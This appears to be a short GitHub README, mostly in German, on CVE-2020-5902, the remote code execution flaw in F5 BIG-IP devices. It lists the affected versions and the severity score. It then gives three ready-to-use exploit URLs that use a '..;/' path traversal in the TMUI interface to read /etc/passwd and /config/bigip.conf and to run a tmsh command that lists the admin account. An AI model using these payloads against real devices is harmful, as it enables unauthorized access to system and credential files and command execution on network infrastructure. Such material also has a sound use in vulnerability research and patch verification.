jsec1337/rce-cve-2020-5902BIG-IP F5 Remote-Codeausführung
BIG-IP F5 Remote Code Execution
Diese Angriffe zielen auf BIG-IP, ein multifunktionales Netzwerkgerät von F5 Networks. BIG-IP-Geräte können als Traffic-Shaping-Systeme, Load Balancer, Firewalls, Zugangs-Gateways, Ratenbegrenzer oder SSL-Middleware konfiguriert werden.
Am Mittwoch veröffentlichte F5 Networks Patches und gab ein Sicherheitsbulletin zu einer „Remote Code Execution“-Schwachstelle in BIG-IP-Geräten heraus.
F5 gab an, dass die als CVE-2020-5902 geführte Schwachstelle es Angreifern ermöglichen könnte, die vollständige Kontrolle über ungepatchte Systeme zu übernehmen, die im Internet erreichbar sind.
Version BIG-IP Vulnerable : 15.0.0-15.1.0.3, 14.*.*, 13.*.*, 12.*.*, 11.*.*
Vulnerability : Remote Code Execution (RCE)
Score CVE : 10/10
https://<BIG-IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://BIG-IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
https://<BIG-IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
